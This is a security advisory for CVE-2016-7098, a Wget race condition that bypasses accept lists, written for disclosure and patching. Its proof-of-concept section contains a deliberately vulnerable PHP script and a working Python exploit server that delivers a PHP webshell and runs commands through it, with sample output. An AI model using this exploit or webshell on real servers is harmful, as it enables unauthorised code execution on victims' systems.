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Follow @dawid_golunski ============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-7098 - Release date: 24.11.2016 - Revision 1.0 - Severity: Medium ============================================= I. VULNERABILITY ------------------------- GNU Wget < 1.18 Access List Bypass / Race Condition II. BACKGROUND ------------------------- "GNU Wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows support, etc. GNU Wget has many features to make retrieving large files or mirroring entire web or FTP sites easy " https://www.gnu.org/software/wget/ III. INTRODUCTION ------------------------- GNU wget in version 1.17 and earlier, when used in mirroring/recursive mode, is affected by a Race Condition vulnerability that might allow remote attackers to bypass intended wget access list restrictions specified with -A parameter. This might allow attackers to place malicious/restricted files onto the system. Depending on the application / download directory, this could potentially lead to other vulnerabilities such as code execution etc. IV. DESCRIPTION ------------------------- When wget is used in recursive/mirroring mode, according to the manual it can take the following access list options: "Recursive Accept/Reject Options: -A acclist --accept acclist -R rejlist --reject rejlist Specify comma-separated lists of file name suffixes or patterns to accept or reject. Note that if any of the wildcard characters, *, ?, [ or ], appear in an element of acclist or rejlist, it will be treated as a pattern, rather than a suffix." These can for example be used to only download JPG images. It was however discovered that when a single file is requested with recursive option (-r / -m) and an access list ( -A ), wget only applies the checks at the end of the download process. This can be observed in the output below: # wget -r -nH -A '*.jpg' http://attackersvr/test.php Resolving attackersvr... Connecting to attackersvr||:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/plain] Saving to: ‘test.php’ 15:05:46 (27.3 B/s) - ‘test.php’ saved [52] Removing test.php since it should be rejected. FINISHED Although wget deletes the file at the end of the download process, this creates a race condition as an attacker with control over the URL/remote server could intentionally slow down the download process so that they had a chance to make use of the malicious file before it gets deleted. It is very easy to win the race as the file only gets deleted after the HTTP connection is terminated. The attacker could therefore keep the connection open as long as it was necessary to make use of the uploaded file as demonstrated in the proof of concept below. V. PROOF OF CONCEPT EXPLOIT ------------------------------ Here is a simple vulnerable PHP web application that uses wget to download images from a user-provided server/URL: ---[ image_importer.php ]--- <?php // Vulnerable webapp [image_importer.php] // Uses wget to import user images from provided site URL // It only accepts JPG files (-A wget option). if ( isset($_GET['imgurl']) ) { $URL = escapeshellarg($_GET['imgurl']); } else { die("imgurl parameter missing"); } if ( !file_exists("image_uploads") ) { mkdir("image_uploads"); } // Download user JPG images into /image_uploads directory system("wget -r -nH -P image_uploads -A '*.jpg' $URL 2>&1"); ?> ---------------------------- For example: https://victimsvr/image_importer.php?imgurl= href="http://images/logo.jpg">http://images/logo.jpg will cause wget to upload logo.jpg file into: https://victimsvr/images_uploads/logo.jpg The wget access list (-A) is to ensure that only .jpg files get uploaded. However due to the wget race condition vulnerability an attacker could use the exploit below to upload an arbitrary PHP script to /image_uploads directory and achieve code execution. ---[ wget-race-exploit.py ]--- #!/usr/bin/env python # # Wget < 1.18 Access List Bypass / Race Condition PoC Exploit # CVE-2016-7098 # # Dawid Golunski # https://legalhackers.com # # # This PoC wget exploit can be used to bypass wget -A access list and upload a malicious # file for long enough to take advantage of it. # The exploit sets up a web server on port 80 and waits for a download request from wget. # It then supplies a PHP webshell payload and requests the uploaded file before it gets # removed by wget. # # Adjust target URL (WEBSHELL_URL) before executing. # # Full advisory at: # # https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html # # Disclaimer: # # For testing purposes only. Do no harm. # # import SimpleHTTPServer import time import SocketServer import urllib2 import sys HTTP_LISTEN_IP = '' HTTP_LISTEN_PORT = 80 PAYLOAD=''' <?php //our webshell system($_GET["cmd"]); system("touch /tmp/wgethack"); ?> ''' # Webshell URL to be requested before the connection is closed # i.e before the uploaded "temporary" file gets removed. WEBSHELL_URL="http://victimsvr/image_uploads/webshell.php" # Command to be executed through 'cmd' GET paramter of the webshell CMD="/usr/bin/id" class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): # Send the payload on GET request print "[+] Got connection from wget requesting " + self.path + " via GET :)\n" self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(PAYLOAD) print "\n[+] PHP webshell payload was sent.\n" # Wait for the file to be flushed to disk on remote host etc. print "[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...\n" time.sleep(2) # Request uploaded webshell print "[+} File '" + self.path + "' should be saved by now :)\n" print "[+} Executing " + CMD + " via webshell URL: " + WEBSHELL_URL + "?cmd=" + CMD + "\n" print "[+} Command result: " print urllib2.urlopen(WEBSHELL_URL+"?cmd="+CMD).read() print "[+} All done. Closing HTTP connection...\n" # Connection will be closed on request handler return return handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit) print "\nWget < 1.18 Access List Bypass / Race Condition PoC Exploit \nCVE-2016-7098\n\nDawid Golunski \nhttps://legalhackers.com \n" print "[+} Exploit Web server started on HTTP port %s. Waiting for wget to connect...\n" % HTTP_LISTEN_PORT handler.serve_forever() ------------------------------ If the attacker run this exploit on their server ('attackersver') and pointed the vulnerable script image_importer.php at it via URL: https://victimsvr/image_importer.php?imgurl= href="http://attackersvr/webshell.php">http://attackersvr/webshell.php The attacker will see output similar to: root@attackersvr:~# ./wget-race-exploit.py Wget < 1.18 Access List Bypass / Race Condition PoC Exploit CVE-2016-7098 Dawid Golunski https://legalhackers.com [+} Exploit Web server started on HTTP port 80. Waiting for wget to connect... [+] Got connection from wget requesting /webshell.php via GET :) victimsvr - - [24/Nov/2016 00:46:18] "GET /webshell.php HTTP/1.1" 200 - [+] PHP webshell payload was sent. [+} Sleep for 2s to make sure the file has been flushed to the disk on the target... [+} File '/webshell.php' should be saved by now :) [+} Executing /usr/bin/id via webshell URL: http://victimsvr/image_uploads/webshell.php?cmd=/usr/bin/id [+} Command result: uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(nagcmd) [+} All done. Closing HTTP connection... VI. BUSINESS IMPACT ------------------------- The vulnerability might allow remote servers to bypass intended wget access list restrictions to temporarily store a malicious file on the server. In certain cases, depending on the context wget command was used in and download path, this issue could potentially lead to other vulnerabilities such as script execution as shown in the PoC section. VII. SYSTEMS AFFECTED ------------------------- Wget < 1.18 VIII. SOLUTION ------------------------- Update to latest version of wget 1.18 or apply patches provided by the vendor. IX. REFERENCES ------------------------- https://legalhackers.com https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html https://legalhackers.com/exploits/CVE-2016-7098/wget-race-exploit.py https://www.gnu.org/software/wget/ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7098 https://security-tracker.debian.org/tracker/CVE-2016-7098 http://lists.opensuse.org/opensuse-updates/2016-09/msg00044.html http://lists.gnu.org/archive/html/bug-wget/2016-08/msg00124.html https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7098 X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com XI. REVISION HISTORY ------------------------- 24.11.2016 - Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. Follow @dawid_golunski <-- BACK TO legalhackers.com